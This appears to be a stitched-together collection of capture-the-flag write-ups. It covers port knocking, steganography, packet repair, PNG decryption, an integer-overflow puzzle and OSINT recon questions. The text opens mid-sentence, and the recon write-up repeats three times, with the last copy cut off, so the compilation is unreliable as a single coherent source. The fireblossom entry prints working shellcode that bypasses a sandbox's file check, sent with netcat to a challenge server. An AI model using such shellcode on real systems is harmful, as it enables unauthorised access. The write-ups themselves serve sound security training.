Mio:80 else Yui:80 Yui:443 -> if FWPRT then Mio:443 else Yui:80 Yui:1143 -> name set FWPRT + DROP packet Yui:default_port -> name unset FWPRT + REJECT with icmp-host-unreachable Yui(icmp) -> if FWPRT then REJECT with icmp-host-unreachable else icmp-admin-prohabited The interesting points to note here are * On sending a tcp packet to 1143, the 80, 443 ports are transparently forwarded over to Mio.* All tcp packets sent to any non important port result in this forwarding to go away.* Once your time limit of 30s expires, the packet allowed to enter the filter chain which unsets name.* Mio handles the requests identical to the workflow, so inserting it in the middle of the workflow has little to no visible effect.* If you have set the FWPRT, then the requests come with a TTL of (TTL - 1) because of the extra hop.* Instead of the sane tcp-rst which would allow a port scan to be completed quickly, we opted for icmp-host-unreachable. This marks all ports as filtered in nmap. The icmp rules were simply added. There was no real importance of it in the question. The reject with icmp-host-unreachable makes [nmap](https://nmap.org/) slow. So slow that watching the nmap complete gave a time of 2hr to complete from my local network. A loop telnet, or netcat request over all ports worksmuch better and allows for the port scanning to be over in minutes if not seconds. As given in the hint, it *DROP*s the packets. The hidden message on the question (script) is to refresh the page repeatedly and attempt to break the keep-alive connection that existsalready. When you figure the hidden port 1143, and send it a packet, (which it drops), we hoped that the page refresh would kick in automatically and display the change in your page. In either case, it is a hint that the http server in involved in the contest, especially when adding this script makes a miserable job of being able to report comments on the contest page, since it reloads the page every 10 seconds. It was expected that people will keep this in mind when scanning for other ports, (since port knocking is usually on 3 ports). The [question data](question_data.html) shows "On the right path, you are". And this shows up as a result of sending a request to Mio:443 on the contest page url. (Which we hoped would happen automatically, if you kept a browser open on the contest page.). Even if this was not apparent, another hint was addedduring the contest. After you get the Key Port, use your head. This should make it very clear that you have to send a http/https request and check the headers which are sent back. As noted above, the headers added are X-Too-Secure on https request to port 443, and X-Too-Insecure on http request on port 80. This is a play on words that suggest that you have to make a 'secure' request on 'insecure' port. Sending a https request on 80 reveals the header X-Just-Right with the correct url to get. This reveals the flag. During performing these http,https requests it may be that your 30 seconds are up, and all the headers simply dissapear,it was expected that you would repeat the tcp packet on port 1143 and get the forwarding back with yourself. # Other write-ups and resources * none yet
# Break In 2016 - You Can(t) See Me **Category:** Steganography**Points:** 100**Solves:** 80**Description:** > On the wonderland of britannia, there are two kinds of dragons Red and Black.> Master Zero is the commander of blacks and all the black dragons support him. > The Red dragons' leader Amiya thinks that the Reds are the best among dragons and blacks are nothing but useless.> So they want to teach a lesson to black dragons. They encoded a message in > this image and sent it to them asking them to decode it. Can they see the message?>> ![Attached Image](color.png) ## Write-up by [ParthKolekar](https://github.com/ParthKolekar) The image of is 7 x 200 pixels. This is a hint to show that it mst be an ascii text whereeach pixel is actually a bit of the 8-bit ascii. The red is a binary 1 and the black is a binary 0. On reading this, we get a text 3xXKkFstTUpsG2IFDirE6xDrcAF8DSx4iWxd5f9IQ9T205izN8lS2MQUlsF11gT4TFXHHlLHVHprNTtrh6lURfdUW7Lpuzgu1VKzwb1bg1oq6Ae3GnykkLZZsnze3HVLxHlfCYtzyrcV2Oxp0Gb0Z2ELphR4Oxo7TyvHCuWKWlN8t8KIfHysZK7jBNPu6wRVEUPIwVra This is the flag. ## Other write-ups and resources * <https://github.com/objEEdump/breakin/tree/master/you_cant_see_me>
# Break In 2016 - make_pair **Category:** Steganography**Points:** 200**Solves:** 5**Description:** > If you add the rainbow and get a couple, then you are good to go else you need one more.> > ![Attached Image](image.png) ## Write-up by [ParthKolekar](https://github.com/ParthKolekar) As the question suggests, if you add the rainbow (R, G, B components of the image), and you get a couple (even pairity), then you are good to go, else you need one more (mark it odd pairity). If you perform a pairity check over all the elements of this image, you will end up with a 3d vectorof even and odd pairities. Print this out as an image, mapping both in different colors. You end up with the following image ![Attached Image](shaktimaan.jpg) This image is compressed for space. You can extract the orginal from the source image. The flag is `shaktimaan` ## Other write-ups and resources * none yet
# Break In 2016 - Bots are Awesome! **Category:** golang, irc, git**Points:** 100**Solves:** 38**Description:** > Aren't they awesome ! ## Write-up by [ParthKolekar](https://github.com/ParthKolekar) The bot in question was on the IRC channel. The bot was an instance of goircbot named teehee bot. The bot would respond to all queries of the form !teeheeBreakIn query For getting the flag, a recon had to be made on the bot. The bot replied to `!teeheeBreakin about` and `!teeheeBreakin help` among other commands which would show the github page for goircbot. The source code had a `breakin` branch with the following lines in the sourcecode bot.WriteMessage("This is where all the magic happens ;)", name[0]) } else if flags[1] == "breakInEnter" { } else { bot.WriteMessage("I didn't get that, try '!teehee help' ??", name[0]) } This leads to the final solution !teeheeBreakIn breakInEnter On giving the bot this command the bot replies with sugarHowDoYouGetSoFlyyy Which is the flag. ## Other write-ups and resources * <https://github.com/objEEdump/breakin/tree/master/bots_are_awesome>
# Break In 2016 - Ethernet Patched Transmission **Category:** Networking**Points:** 200**Author:** networ-k-ing**Solves:** 6**Description:** > Seems like someone intercepted and altered the frames. Can you patch it?> > >>Ingress>>> 0x0000: 35 02 d2 d2 d2 d2 64 c4 14 74 02 94 08 00 45 00> 0x0010: 00 3c a6 65 40 00 3e 06 75 a5 45 75 14 25 e3 02> 0x0020: e4 14 dd c4 1f 90 00 00 00 00 00 00 00 00 a0 02> 0x0030: 38 90 c7 d0 00 00 02 04 05 b4 04 02 08 0a e4 14> 0x0040: 45 84 00 00 00 00 01 03 03 07> > >>Ingress>>> 0x0000: 36 03 d3 d4 d5 d6 65 c1 13 72 02 94 08 00 45 00> 0x0010: 00 3c a6 65 40 00 3e 06 07 29 31 43 19 43 21 44> 0x0020: 23 64 dd c4 1f 90 00 00 00 00 00 00 00 00 a0 02> 0x0030: 38 90 59 54 00 00 02 04 05 b4 04 02 08 0a e4 14> 0x0040: 45 84 00 00 00 00 01 03 03 07> > >>Ingress>>> 0x0000: a4 3b 45 cd 1d 76 56 22 75 15 02 41 08 00 45 00> 0x0010: 00 3c a6 65 40 00 3e 06 54 e8 32 45 66 14 65 34> 0x0020: 43 e1 dd c4 1f 90 00 00 00 00 00 00 00 00 a0 02> 0x0030: 38 90 b0 ff 00 00 02 04 05 b4 04 02 08 0a e4 14> 0x0040: 45 84 00 00 00 00 01 03 03 07> > <<Egress<<> 0x0000: ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 08 00 45 00> 0x0010: 00 3c 00 00 40 00 3e 06 1c 0b ?? ?? ?? ?? ?? ??> 0x0020: ?? ?? 1f 90 dd c4 00 00 00 00 00 00 00 01 a0 ??> 0x0030: 38 90 18 79 00 00 02 04 05 b4 04 02 08 0a 53 e3> 0x0040: 8e e8 ?? ?? ?? ?? 01 03 03 07 ## Write-up by [ParthKolekar](https://github.com/ParthKolekar) In this question 4 packets were given initially out of which one packet had some hex bytes missing. So the first step should be to decode/analyse the given packets in a packet decoder/analyser like wireshark. After analyzing the packet in wireshark one can see that the given ingress (input) packets were tcp syn packets, so now by common sense the egress (output) packet, which had missing bytes, should be a syn/ack packet. Even if someone had doubts regarding the protocol of the egress packet, they could have always used the checksum to guess the reply flag and also there were many other hints to find the reply type. So, now we can begin filling up the missing bytes in the egress packet. We already covered one of the missing byte. 0x12 for syn/ack Moving on to other missing bytes, we can see that the TSECR i.e. Timestamp Echo Reply field also had some missing bytes, so the next thing to fill up could be this section. Here we had to use the TSVAL field of the recieved syn packets, so this field gave us 4 more missing bytes: e4 14 45 84 since every ingress packet had same TSVAL value. Finally the only fields missing were sourceand destination mac and ip addresses. Now this was the part where we have to use the src and dest mac and ip-addrs of the given packets one by one and then figure out the correct one by using the ip-checksum. If someone used the given order of packets, they would have gotten the correct answer after their first check itself i.e. the mac and ip-addrs of the first ingress packet were the correct combination for the reply. So, the missing bytes were: 64 c4 14 74 02 94 35 02 d2 d2 d2 d2 e3 02 e4 14 45 75 14 25 12 e4 14 45 84 And if someone observed carefully enough then they would have understood that the above bytes are reverse hex representation of ascii chars.So we reverse every char: 46 4c 41 47 20 49 53 20 2d 2d 2d 2d 3e 20 4e 41 54 57 41 52 21 4e 41 54 48 which was: FLAG IS ----> NATWAR!NATH Hence Flag is `NATWAR!NATH` Packet syntax: [(00 07 0e 64 f9 3f) dest-mac-addr (d4 c9 ef 66 da f2) src-mac-addr (08 00) type-ip] ETH-2_LAYER [45 00 00 (Type of Service-TOS) 3c (a6 65) identification 40 00 (40) TTL (06) protocol_tcp (4a 23) header-checksum (0a 01 21 c8) src-ipv4 (0a 04 14 67) dest-ipv4 ]IP_LAYER [(ad 2c) src-port (1f 90) dest-port (ca 72 ea 9d) seq-no (00 00 00 00) ack-no a0 (02) tcp-flags (syn in this case) (72 10) window_size (bb 90) checksum (00 00) urgent-pointer (02 04 05 b4 04 02 08 (kind-timestamp) 0a (length-10) (01 66 4c f8) TSval (00 00 00 00) TSecr 01 03 03 07) options] TCP_LAYER ## Other write-ups and resources * none yet
# Programming (Pretty much _"Recon"_) ##Programming 1**Q: So you reached Delhi and now the noise in your head is not allowing you to think rationally. The Nosise in your head has origin its Origin in your Stomach. And this is a big hunger. You can finish one or probably 2 Tandoori Chicken. So where can you get the best Tandoori Chicken in Delhi? This place tweeted last week that the Tandoori Chicken it servers is like never B4. You got its twitter handle?** - This challenge could be solved in one of two ways. You could use a scraper to find a post or spend 30 seconds searching for Tandoori Chicken on twitter. We opted for the fastest way and searched for "tandoori chicken like never before." The first tweet displayed was by @AnyaHotels, https://twitter.com/AnyaHotels/status/690040639619227648. The Flag was the twitter handle @AnyaHotels. ##Programming 2**Q: Your simple good Deeds can save you but your GREED can kill you. This has happened before. This greedy person lived a miserable life just for the greed of gold and lust. You must know him, once you know him, you must reach his capital and next clues will be given by his famous EX-Body Guard. This file consists of few paragraphs. Each paragraph singles out one Alphabet. Scrambling those Alphabets will help you to know the country of this Ruler. Who was this Ruler?** - The file given contained the following text : **along with azalaan, country has became a major tourist attraction, with as many landmarks as Paris, such as Great Tribal Pyramid and 3,000 year old statue of the Gold Fartility Go it has a recast as a statue of Haffaz azalaan due to public outcry. Due to the lack of foreign investment, azalaann has attempted to offer 400,000 square miles of desert land to countries wishing to test missiles or to dump chemical waste. lion is 1 of the 5 n live big cats, lives in the long parallel Panthera family Fellidae. Commonlly used term African lion collectively denotes several clubs found in Africa. With some males of 250 kg (550 lb) weight, lion the second-largest living cat. Wild lions currentlly exist in sub-Saharan Africa and Asia (large n legally protected popullation resides in Gir Forest National Park in India) while other types of lions pulled up popullation from North Africa. Since in time immemorial, earliest known in 5 August 1730 at Bizilabithi, Knit between Knit in London. The London-based nickle miner St James Irven Post irrupted on Fri, 8 April: "'Twas thought that the Kentish champions would have lost their honours by being bitten in innings if time had permitted". This is the first time word "innings" is found in records. Incidentally, it is first time this "champions" is found in is significant it confirms this idea of champion city established among cricket this is the earliest known instance of this filling The borbons books club was always being busy. Carbaboni Candlebar was webbed with brothers books being busted in the big bag.The night became darker by passing bits and sounds of beasts barking at the busy subway. Its believed to be coroborated by the best in the subsudry in bank of brisbane being called and brought in during military service. As Cbaboni bceomes aware, she starts building love for brother and about bincent really became. Really utility stocks ( by the way including city food supply, gas supply water supply fully busy road supply) have provided highly good yield and way for envysor not only live or lay by dividend, but have supply opportunity, try solidify a sundry. By this hy yeild they listed fully utility stocks they can really purchase. Virtually shares lysted by U.S. were sharess by few way inferior and not listed in Newyork.** - This challenge involved analysing the frequency of letters in each paragraph and recording the letter with the highest frequency in each paragraph. We used the word frequency counter from https://www.mtholyoke.edu/courses/quenell/s2003/ma139/js/count.html to get this done. - Once that is done you get the letters: A L I B Y -Rearraging these letters we get LIBYA. From this we deduced that the challange was looking for Ghaddafi which happened to be the flag. ##Programming 3**Q: Still Hungry and unsutisfied, you are looking for more. Some more, unique un heard dishes. Then you can find one to make it your self. Its his Dish. He has his own website which is he describes as " a social home for each of our passions". The link to his website is on his google+ page. whats the name of his site. By the way he loves and hogs on "Onion Kheer". Have you heard of "Onion Kheer"?** - The solution was simple. Searching for Onion kheer on google plus provides you with multiple results on Chef BB. The flag was affimity.com which was found on one of the top three resuts. ##Programming 4**Q: One of the _"NullCon"_ vidoes talked about a marvalous Russian Gift. The Vidoe was uploaded on [_"May of 2015"_] What is the ID of that _"Youtube video"_.** - This was a very simple "recon" question. If you look at the "quoted" words in the question, you go to Youtube and search for "Nullcon" and you will see its channel, under the channel's videos category, you just look for the video that was uploaded back in May of 2015. There are few videos uploaded in May of 2015, but you have unlimited submission chance, so try it until you find the correct one. - The _"ID"_ can be found in the URL. The correct video had the following URL: "https://www.youtube.com/watch?v=a4_PvN_A1ts". After the "watch?v=", "a4_PvN_A1ts" is the video's ID. - Therefore the answer was: **"a4_PvN_A1ts"** ##Programming 5**Q: Dont blink your Eyes, you might miss it. But the fatigue and exhaustion rules out any logic, any will to stay awake. What you need now is a slumber. Cat nap will not do. 1 is LIFE and 0 is DEAD. in this GAME OF LIFE sleep is as important food. So... catch some sleep. But Remember...In the world of 10x10 matirx, the Life exists. If you SLOTH, sleep for 7 Ticks, or 7 Generation, In the game of Life can you tell what will be the state of the world? The world- 10x10 0000000000,0000000000,0001111100,0000000100,0000001000,0000010000,0000100000,0001000000,0000000000,000000000** - The challenge referres to Conways Game of life. We first started off by looking for a 10x10 version of the game online and found one at he following link: http://www.edshare.soton.ac.uk/948/5/gol.html. We then filled in the blocks using the binary numbers given using 1 as LIFE and 0 as DEAD. The game was runfor 7 generations and the resulting row binaries gave the flag.
# fireblossom (misc 150) there were 2 files provided fireblossom: for setting up a jail + sandbox, then runs fireblossom-claypot fireblossom-claypot: for executing your shellcode fireblossom debugs fireblossom-claypot, checking that whenever the open syscall is executed, the file being read is not "/flag" to bypass this, we use the openat syscall instead```$ xxd a0000000: 6a00 4159 49bc ffff ffff ffff ffff 4154 j.AYI.........AT0000010: 4158 6a22 415a 6a07 5a68 0010 0000 5e68 AXj"AZj.Zh....^h0000020: 0000 4141 5f6a 0958 0f05 49bc 2f66 6c61 ..AA_j.X..I./fla0000030: 6700 0000 4154 545e 6a00 596a 005a 49bc g...ATT^j.Yj.ZI.0000040: 9cff ffff 0000 0000 4154 5f68 0101 0000 ........AT_h....0000050: 580f 0550 5f68 0000 4141 5e6a 405a 6a00 X..P_h..AA^[email protected]: 580f 056a 025f 6800 0041 415e 6a40 5a6a X..j._h..AA^j@Zj0000070: 0158 0f05 0a .X...$ cat a | nc 52.69.206.114 10002Put seeds into the clay pothitcon{P4race Ist T0t, 2A1d F1rebl0$soM}The fireblossom is blooming```
# Programming (Pretty much _"Recon"_) ##Programming 1**Q: So you reached Delhi and now the noise in your head is not allowing you to think rationally. The Nosise in your head has origin its Origin in your Stomach. And this is a big hunger. You can finish one or probably 2 Tandoori Chicken. So where can you get the best Tandoori Chicken in Delhi? This place tweeted last week that the Tandoori Chicken it servers is like never B4. You got its twitter handle?** - This challenge could be solved in one of two ways. You could use a scraper to find a post or spend 30 seconds searching for Tandoori Chicken on twitter. We opted for the fastest way and searched for "tandoori chicken like never before." The first tweet displayed was by @AnyaHotels, https://twitter.com/AnyaHotels/status/690040639619227648. The Flag was the twitter handle @AnyaHotels. ##Programming 2**Q: Your simple good Deeds can save you but your GREED can kill you. This has happened before. This greedy person lived a miserable life just for the greed of gold and lust. You must know him, once you know him, you must reach his capital and next clues will be given by his famous EX-Body Guard. This file consists of few paragraphs. Each paragraph singles out one Alphabet. Scrambling those Alphabets will help you to know the country of this Ruler. Who was this Ruler?** - The file given contained the following text : **along with azalaan, country has became a major tourist attraction, with as many landmarks as Paris, such as Great Tribal Pyramid and 3,000 year old statue of the Gold Fartility Go it has a recast as a statue of Haffaz azalaan due to public outcry. Due to the lack of foreign investment, azalaann has attempted to offer 400,000 square miles of desert land to countries wishing to test missiles or to dump chemical waste. lion is 1 of the 5 n live big cats, lives in the long parallel Panthera family Fellidae. Commonlly used term African lion collectively denotes several clubs found in Africa. With some males of 250 kg (550 lb) weight, lion the second-largest living cat. Wild lions currentlly exist in sub-Saharan Africa and Asia (large n legally protected popullation resides in Gir Forest National Park in India) while other types of lions pulled up popullation from North Africa. Since in time immemorial, earliest known in 5 August 1730 at Bizilabithi, Knit between Knit in London. The London-based nickle miner St James Irven Post irrupted on Fri, 8 April: "'Twas thought that the Kentish champions would have lost their honours by being bitten in innings if time had permitted". This is the first time word "innings" is found in records. Incidentally, it is first time this "champions" is found in is significant it confirms this idea of champion city established among cricket this is the earliest known instance of this filling The borbons books club was always being busy. Carbaboni Candlebar was webbed with brothers books being busted in the big bag.The night became darker by passing bits and sounds of beasts barking at the busy subway. Its believed to be coroborated by the best in the subsudry in bank of brisbane being called and brought in during military service. As Cbaboni bceomes aware, she starts building love for brother and about bincent really became. Really utility stocks ( by the way including city food supply, gas supply water supply fully busy road supply) have provided highly good yield and way for envysor not only live or lay by dividend, but have supply opportunity, try solidify a sundry. By this hy yeild they listed fully utility stocks they can really purchase. Virtually shares lysted by U.S. were sharess by few way inferior and not listed in Newyork.** - This challenge involved analysing the frequency of letters in each paragraph and recording the letter with the highest frequency in each paragraph. We used the word frequency counter from https://www.mtholyoke.edu/courses/quenell/s2003/ma139/js/count.html to get this done. - Once that is done you get the letters: A L I B Y -Rearraging these letters we get LIBYA. From this we deduced that the challange was looking for Ghaddafi which happened to be the flag. ##Programming 3**Q: Still Hungry and unsutisfied, you are looking for more. Some more, unique un heard dishes. Then you can find one to make it your self. Its his Dish. He has his own website which is he describes as " a social home for each of our passions". The link to his website is on his google+ page. whats the name of his site. By the way he loves and hogs on "Onion Kheer". Have you heard of "Onion Kheer"?** - The solution was simple. Searching for Onion kheer on google plus provides you with multiple results on Chef BB. The flag was affimity.com which was found on one of the top three resuts. ##Programming 4**Q: One of the _"NullCon"_ vidoes talked about a marvalous Russian Gift. The Vidoe was uploaded on [_"May of 2015"_] What is the ID of that _"Youtube video"_.** - This was a very simple "recon" question. If you look at the "quoted" words in the question, you go to Youtube and search for "Nullcon" and you will see its channel, under the channel's videos category, you just look for the video that was uploaded back in May of 2015. There are few videos uploaded in May of 2015, but you have unlimited submission chance, so try it until you find the correct one. - The _"ID"_ can be found in the URL. The correct video had the following URL: "https://www.youtube.com/watch?v=a4_PvN_A1ts". After the "watch?v=", "a4_PvN_A1ts" is the video's ID. - Therefore the answer was: **"a4_PvN_A1ts"** ##Programming 5**Q: Dont blink your Eyes, you might miss it. But the fatigue and exhaustion rules out any logic, any will to stay awake. What you need now is a slumber. Cat nap will not do. 1 is LIFE and 0 is DEAD. in this GAME OF LIFE sleep is as important food. So... catch some sleep. But Remember...In the world of 10x10 matirx, the Life exists. If you SLOTH, sleep for 7 Ticks, or 7 Generation, In the game of Life can you tell what will be the state of the world? The world- 10x10 0000000000,0000000000,0001111100,0000000100,0000001000,0000010000,0000100000,0001000000,0000000000,000000000** - The challenge referres to Conways Game of life. We first started off by looking for a 10x10 version of the game online and found one at he following link: http://www.edshare.soton.ac.uk/948/5/gol.html. We then filled in the blocks using the binary numbers given using 1 as LIFE and 0 as DEAD. The game was runfor 7 generations and the resulting row binaries gave the flag.
## puzzleng - Forensic 250 Problem - Writeup by Robert Xiao (@nneonneo) ### Description > Next Generation of Puzzle!> > puzzleng-edb16f6134bafb9e8b856b441480c117.tgz ### Solution We're given a small file encrypted with the provided binary. Reversing the binary shows that the encryption algorithm is basically pw = sha1(password) data = bytearray(open(infile)) piecelen = (len(data)+19) // 20 for i in range(20): idx = i*piecelen data[idx:idx+piecelen] = [c^pw[i] for c in data[idx:idx+piecelen]] in other words, it is encrypting each successive 1/20th of the file with a different xor key. For the provided encrypted file, the piece size is 57 bytes. We bruteforce the 256 possible xor keys for the first piece and discover that it's a PNG. PNG files have a very simple structure: they consist of a sequence of *chunks*, which each consist of a 4-byte length, 4-byte "tag", chunk content, and a 4-byte CRC-32 checksum. The main data chunk, tagged "IDAT", consists of `zlib` compressed data containing the image data. ### Piece 0 The first 57-byte piece yields a PLTE (color palette) PNG chunk which specifies two colors: 8F77B5 and 8F77B4. Since these are basically indistinguishable colors, I put in a little hack that changes the palette colors to 000000 and FFFFFF (black and white). ### Piece 1The first piece ends with the partial chunk tag `tR`. From the PNG spec, we guess that this is the `tRNS` (transparency) tag, yielding a second valid piece with an `IDAT` chunk and 20 bytes of `zlib` compressed data. We can use Python's `zlib.decompressobj` object to attempt to decode partial `zlib` streams, but on this first 20 bytes of compressed data we get nothing. ### Piece 2For the next piece, we try all 256 xor keys and only accept keys where the resulting data decompresses successfully. Luckily, only one key produces valid zlib data. The decompression of this piece yields some meaningful image data, but there's just a lot of white so far and only one partial line with black pixels. ### Piece 3We try the same thing again with the next piece, trying all keys and taking those which decompress successfully. Unfortunately, almost all of these decompress successfully. I therefore just dumped the partially decompressed data for each key and inspected them manually. The image is 912x912, encoded as bits, so each row is 114 bytes long. PNG prepends a single header byte to each row (which in our image appears to always be 0x00), so in total each row is 115 bytes long and we can thus dump our decompressed data as an image. Most of the outputs look like garbage, but at key=194, we see a very regular pattern ('X' = 0xff, ' ' = 0x00): XXXXXXXXXXXXXX XXXXXX XXXX XXXX XXXX XX XXXXXXXXXX XX XXXX XX XXXXXXXXXXXXXX XXXXXXXXXXXXXX XXXXXX XXXX XXXX XXXX XX XXXXXXXXXX XX XXXX XX XXXXXXXXXXXXXX XXXXXXXXXXXXXX XXXXXX XXXX XXXX XXXX XX XXXXXXXXXX XX XXXX XX XXXXXXXXXXXXXX XXXXXXXXXXXXXX XXXXXX XXXX XXXX XXXX XX XXXXXXXXXX XX XXXX XX XXXXXXXXXXXXXX XXXXXXXXXXXXXX XXXXXX XXXX XXXX XXXX XX XXXXXXXXXX XX XXXX XX XXXXXXXXXXXXXX XXXXXXXXXXXXXX XXXXXX XXXX XXXX XXXX XX XXXXXXXXXX XX XXXX XX XXXXXXXXXXXXXX XXXXXXXXXXXXXX XXXXXX XXXX XXXX XXXX XX XXXXXXXXXX XX XXXX XX XXXXXXXXXXXXXX XXXXXXXXXXXXXX XXXXXX XXXX XXXX XXXX XX XXXXXXXXXX XX XXXX XX XXXXXXXXXXXXXX XXXXXXXXXXXXXX XXXXXX XXXX XXXX XXXX XX XXXXXXXXXX XX XXXX XX XXXXXXXXXXXXXX XXXXXXXXXXXXXX XXXXXX XXXX XXXX XXXX XX XXXXXXXXXX XX XXXX XX XXXXXXXXXXXXXX XXXXXXXXXXXXXX XXXXXX XXXX XXXX XXXX XX XXXXXXXXXX XX XXXX XX XXXXXXXXXXXXXX XXXXXXXXXXXXXX XXXXXX XXXX XXXX XXXX XX XXXXXXXXXX XX XXXX XX XXXXXXXXXXXXXX XXXXXXXXXXXXXX XXXXXX XXXX XXXX XXXX XX XXXXXXXXXX XX XXXX XX XXXXXXXXXXXXXX XXXXXXXXXXXXXX XXXXXX XXXX XXXX XXXX XX XXXXXXXXXX XX XXXX XX XXXXXXXXXXXXXX XXXXXXXXXXXXXX XXXXXX XXXX XXXX XXXX XX XXXXXXXXXX XX XXXX XX XXXXXXXXXXXXXX XXXXXXXXXXXXXX XXXXXX XXXX XXXX XXXX XX XXXXXXXXXX XX XXXX XX XXXXXXXXXXXXXX XX XX XX XXXXXX XXXX XX XX XXXXXXXX XXXX XXXXXXXXXX XX XX XX XX XX XXXXXX XXXX XX XX XXXXXXXX XXXX XXXXXXXXXX XX XX XX XX XX XXXXXX XXXX XX XX XXXXXXXX XXXX XXXXXXXXXX XX XX XX XX XX XXXXXX XXXX XX XX XXXXXXXX XXXX XXXXXXXXXX XX XX XX XX XX XXXXXX XXXX XX XX XXXXXXXX XXXX XXXXXXXXXX XX XX XX XX XX XXXXXX XXXX XX XX XXXXXXXX XXXX XXXXXXXXXX XX XX XX XX XX XXXXXX XXXX XX XX XXXXXXXX XXXX XXXXXXXXXX XX XX XX XX XX XXXXXX XXXX XX XX XXXXXXXX XXXX XXXXXXXXXX XX XX XX XX XX XXXXXX XXXX XX XX XXXXXXXX XXXX XXXXXXXXXX XX XX XX XX XX XXXXXX XXXX XX XX XXXXXXXX XXXX XXXXXXXXXX XX XX XX XX XX XXXXXX XXXX XX XX XXXXXXXX XXXX XXXXXXXXXX XX XX XX XX XX XXXXXX XXXX XX XX XXXXXXXX XXXX XXXXXXXXXX XX XX XX XX XX XXXXXX XXXX XX XX XXXXXXXX XXXX XXXXXXXXXX XX XX XX XX XX XXXXXX XXXX XX XX XXXXXXXX XXXX XXXXXXXXXX XX XX XX XX XX XXXXXX XXXX XX XX XXXXXXXX XXXX XXXXXXXXXX XX XX XX XX XX XXXXXX XXXX XX XX XXXXXXXX XXXX XXXXXXXXXX XX XX XX XXXXXX XX XX XXXX XXXXXXXX XX XX XX XX XXXX XX XXXXXX XX XX XXXXXX XX XX XXXX XXXXXXXX XX XX XX XX XXXX XX XXXXXX XX XX XXXXXX XX XX XXXX XXXXXXXX XX XX XX XX XXXX XX XXXXXX XX XX XXXXXX XX XX XXXX XXXXXXXX XX XX XX XX XXXX XX XXXXXX XX XX XXXXXX XX XX XXXX XXXXXXXX XX XX XX XX XXXX XX XXXXXX XX XX XXXXXX XX XX XXXX XXXXXXXX XX XX XX XX XXXX XX XXXXXX XX XX XXXXXX XX XX XXXX XXXXXXXX XX XX XX XX XXXX XX XXXXXX XX XX XXXXXX XX XX XXXX XXXXXXXX XX XX XX XX XXXX XX XXXXXX XX XX XXXXXX XX XX XXXX XXXXXXXX XX XX XX XX XXXX XX XXXXXX XX XX XXXXXX XX XX XXXX XXXXXXXX XX XX XX XX XXXX XX XXXXXX XX XX XXXXXX XX XX XXXX XXXXXXXX XX XX XX XX XXXX XX XXXXXX XX XX XXXXXX XX XX XXXX XXXXXXXX XX XX XX XX XXXX XX XXXXXX XX XX XXXXXX XX XX XXXX XXXXXXXX XX XX XX XX XXXX XX XXXXXX XX XX XXXXXX XX XX XXXX XXXXXXXX XX XX XX XX XXXX XX XXXXXX XX XX XXXXXX XX XX XXXX XXXXXXXX XX XX XX XX XXXX XX XXXXXX XX XX XXXXXX XX XX XXXX XXXXXXXX XX XX XX XX XXXX XX XXXXXX XX XX XXXXXX XX XX XXXXXX XX XX XX XX XX XX XX XX It looks very regular! Let's go with the assumption that every row is formatted like this, and in future chunks only select chunks which produce data in this format (starts with 8 `\x00`, then 49 `\x00\x00` or `\xff\xff` pairs, then a final 8 `\x00`). This is quite easy to do with a regex over the decompressed data. # Piece 4+ It turns out our assumption is good, and subsequently we are able to guess each key byte completely uniquely (i.e. exactly one value for the key yields decompressed data that matches our pattern, for each piece). The decryption program is provided in `decrypt.py`. In the end, it turns out that the output is a QR code (`flag.png`), and the final flag is hitcon{qrencode -s 16 -o flag.png -l H --foreground 8F77B5 --background 8F77B4}
# Exp60 ## Description```We are given an IP address and a port to connect to, upon connecting we are asked to solved the following equation: X > 1337 X * 7 + 4 = 1337``` ## Solution It is pretty obvious that we to do an integer overflow, after some manual testing I used the following dirty C code: ```#include <stdio.h>#include <stdlib.h> int main(int argc, char **argv) { int x = 610000000; int i = 0; for (i; i<100000000; i++) { if ((x+i)*7 + 4 == 1337) printf("%d", i); }}``` which gives us the answer: 613566947 ## Results```Solve the following equations:X > 1337X * 7 + 4 = 1337Enter the solution X: 613566947You entered: 613566947613566947 is bigger than 13371337 is equal to 1337Well done!IW{Y4Y_0verfl0w}```
# Programming (Pretty much _"Recon"_) ##Programming 1**Q: So you reached Delhi and now the noise in your head is not allowing you to think rationally. The Nosise in your head has origin its Origin in your Stomach. And this is a big hunger. You can finish one or probably 2 Tandoori Chicken. So where can you get the best Tandoori Chicken in Delhi? This place tweeted last week that the Tandoori Chicken it servers is like never B4. You got its twitter handle?** - This challenge could be solved in one of two ways. You could use a scraper to find a post or spend 30 seconds searching for Tandoori Chicken on twitter. We opted for the fastest way and searched for "tandoori chicken like never before." The first tweet displayed was by @AnyaHotels, https://twitter.com/AnyaHotels/status/690040639619227648. The Flag was the twitter handle @AnyaHotels. ##Programming 2**Q: Your simple good Deeds can save you but your GREED can kill you. This has happened before. This greedy person lived a miserable life just for the greed of gold and lust. You must know him, once you know him, you must reach his capital and next clues will be given by his famous EX-Body Guard. This file consists of few paragraphs. Each paragraph singles out one Alphabet. Scrambling those Alphabets will help you to know the country of this Ruler. Who was this Ruler?** - The file given contained the following text : **along with azalaan, country has became a major tourist attraction, with as many landmarks as Paris, such as Great Tribal Pyramid and 3,000 year old statue of the Gold Fartility Go it has a recast as a statue of Haffaz azalaan due to public outcry. Due to the lack of foreign investment, azalaann has attempted to offer 400,000 square miles of desert land to countries wishing to test missiles or to dump chemical waste. lion is 1 of the 5 n live big cats, lives in the long parallel Panthera family Fellidae. Commonlly used term African lion collectively denotes several clubs found in Africa. With some males of 250 kg (550 lb) weight, lion the second-largest living cat. Wild lions currentlly exist in sub-Saharan Africa and Asia (large n legally protected popullation resides in Gir Forest National Park in India) while other types of lions pulled up popullation from North Africa. Since in time immemorial, earliest known in 5 August 1730 at Bizilabithi, Knit between Knit in London. The London-based nickle miner St James Irven Post irrupted on Fri, 8 April: "'Twas thought that the Kentish champions would have lost their honours by being bitten in innings if time had permitted". This is the first time word "innings" is found in records. Incidentally, it is first time this "champions" is found in is significant it confirms this idea of champion city established among cricket this is the earliest known instance of this filling The borbons books club was always being busy. Carbaboni Candlebar was webbed with brothers books being busted in the big bag.The night became darker by passing bits and sounds of beasts barking at the busy subway. Its believed to be coroborated by the best in the subsudry in bank of brisbane being called and brought in during military service. As Cbaboni bceomes aware, she starts building love for brother and about bincent really became. Really utility stocks ( by the way including city food supply, gas supply water supply fully busy road supply) have provided highly good yield and way for envysor not only live or lay by dividend, but have supply opportunity, try solidify a sundry. By this hy yeild they listed fully utility stocks they can really purchase. Virtually shares lysted by U.S. were sharess by few way inferior and not listed in Newyork.** - This challenge involved analysing the frequency of letters in each paragraph and recording the letter with the highest frequency in each paragraph. We used the word frequency counter from https://www.mtholyoke.edu/courses/quenell/s2003/ma139/js/count.html to get this done. - Once that is done you get the letters: A L I B Y 